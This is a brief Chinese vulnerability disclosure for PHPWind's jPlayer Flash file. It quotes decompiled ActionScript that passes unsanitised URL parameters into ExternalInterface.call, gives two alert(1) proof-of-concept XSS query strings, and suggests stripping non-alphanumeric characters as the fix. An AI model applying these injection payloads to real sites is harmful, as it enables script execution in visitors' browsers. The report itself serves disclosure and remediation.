PHPWind使用的flash文件还真多。

1、漏洞文件为:

2、反编译后看代码:

this.jQuery = (((loaderInfo.parameters.jQuery + "('#") + loaderInfo.parameters.id) + "').jPlayer");

……

private function init(_arg1:TimerEvent):void{

this.myInitTimer.stop();

if (ExternalInterface.available){

……

ExternalInterface.call(this.jQuery, "jPlayerFlashEvent", JplayerEvent.JPLAYER_READY, this.extractStatusData(this.commonStatus));

};

}

3、我们看到在上面的代码中jQuery变量是由loaderInfo.parameters.jQuery和loaderInfo.parameters.id两个外部参数拼接而成的,并且没有进行任何的处理直接带入到ExternalInterface.call中。

4、可以构造两个POC,为下面,所以是两处xss:

?jQuery=alert(1))}catch(e){}//

?id='))}catch(e){alert(1)}//

漏洞证明:

?jQuery=alert(1))}catch(e){}//

?id='))}catch(e){alert(1)}//

修复方案:

可以参考swfupload.swf那个地方的修复方法,就是把非a-zA-Z0-9_字符replace为空